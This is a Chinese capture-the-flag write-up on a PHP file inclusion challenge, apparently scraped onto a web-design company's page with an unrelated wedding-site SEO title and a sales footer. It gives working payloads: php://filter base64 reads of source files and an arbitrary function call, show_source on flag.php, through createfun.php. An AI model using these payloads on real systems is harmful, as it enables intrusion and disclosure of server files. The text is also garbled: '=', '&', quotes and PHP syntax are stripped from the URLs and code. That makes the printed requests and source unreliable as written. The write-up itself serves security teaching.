网站建设方案书0婚纱网站目录优化
2026/3/28 21:59:58 网站建设 项目流程
网站建设方案书0,婚纱网站目录优化,站群宝塔批量建站,网站收录问题前置知识 网络安全 文件包含漏洞-CSDN博客 解题过程 打开靶场、进行信息收集 在源码中发现include文件#xff0c;直接访问#xff0c;自动添加了URL参数file /include.php?fileindex 并且自动补齐了index参数#xff0c;页面也跟初始页面相同#xff0c;很明显是文件…前置知识网络安全 文件包含漏洞-CSDN博客解题过程打开靶场、进行信息收集在源码中发现include文件直接访问自动添加了URL参数file/include.php?fileindex并且自动补齐了index参数页面也跟初始页面相同很明显是文件包含漏洞直接尝试php伪协议读取下已知的源码根据自动补齐的index参数可以猜测后端是自动补齐.php读取index.php/include.php?filephp://filter/readconvert.base64-encode/resourceindex?php print EOT html head meta http-equivContent-Type contenttext/html; charsetutf-8 /head body !--include.php-- img srcimg.jpg alt嘉木天下第一 / /body /html EOT; ?读取include.php:/include.php?filephp://filter/readconvert.base64-encode/resourceinclude?php error_reporting(0); $file $_GET[file]; if(isset($file)) { if (preg_match(/http|data|ftp|input|%00|flag/i, $file) || strstr($file,..) ! FALSE || strlen($file)100) { echo p error! /p; } else { include($file..php); setcookie(tips,createfun.php); } } else { header(Location:include.php?fileindex); } ?可以看到include.php过滤了敏感字符我们无法直接读取flag并且我们又看到另一个文件createfun.php继续读取该文件/include.php?filephp://filter/readconvert.base64-encode/resourcecreatefun?php $func $_GET[func]; $arg $_GET[arg]; if(isset($func)isset($arg)){$func($arg,);}分析源码获取两个参数一个作为函数名一个作为函数参数然后会执行函数。需要注意这个函数有两个参数后面被自动设置为空这里很多函数可以用这里采用show_source显示flag.php文件内容这里flag.php可以通过前面include文件得出也可以扫文件得到/createfun.php?funcshow_sourceargflag.php?php $flagnuaactf{php_IS_thE_best_language}; ?总结一道基础的文件包含漏洞包含了一些代码审计部分。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询